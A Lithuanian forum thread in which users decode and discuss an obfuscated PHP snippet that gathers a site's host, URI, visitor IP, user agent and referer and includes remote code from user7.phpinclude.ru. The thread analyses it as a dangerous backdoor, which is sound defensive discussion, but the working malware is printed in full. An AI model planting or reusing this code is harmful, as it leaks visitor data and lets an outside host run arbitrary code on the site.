padekit su base64 decode

gal kas galit paaiskint ka daro sitas:

<? echo "$title9"; error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>

Išsiunčia serverio info į user7.phpinclude.ru

Tiksliau įkrauna nutolusį failą ir tuo pačiu perduoda serverio info

Siuncia duomenis kazkokiam logeriui esianciam tinklapyje http://user7.phpinclude.ru/

fainiai ###### shared hostingu neapsimoka naudot :)

bet kad idomiausiai ka jis gali paimt server name server url, user info refer info ...

Tai kad nieko konfidencialaus jis cia neima. Na, gal nebent "request_uri", jei slaptazodziai gerduodami GET metodu.

O siaip tai sakyciau, kad cia paprastas skaitliukas, statistikos surinkimo kodas. :)

Na dar pasiema ip, naršyklę ir įterpia bet kokį kodą į puslapį, o tai jau nejuokinga jei įjungtas „allow url fopen“ ar pan.

EDIT: skaitliukas naudotų koki touch ar file, bet ne include :)

Na mano skaitliukas taip pat naudoja include, bet include'inama is mano paties servo man zinoma faila. O include is isorinio servo is tiesu yra LABAI nesaugu, neatkreipiau i tai demesio.

nieko nepadarysi kai pilna idiotu ...

kurie nardo po shared hostus.

neikaip neapsiginsi reik persikelt is ten ...

Na su tokiais bajeriais įmanoma viskas. Įsitikinau tuo kai paskutinį kartą ie6 mėgino pakeisti mano registrą (per vbscript) vos įėjus į puslapį. Apie cookiu ar session id grobimą jau nekalbu jei jie naudojami saite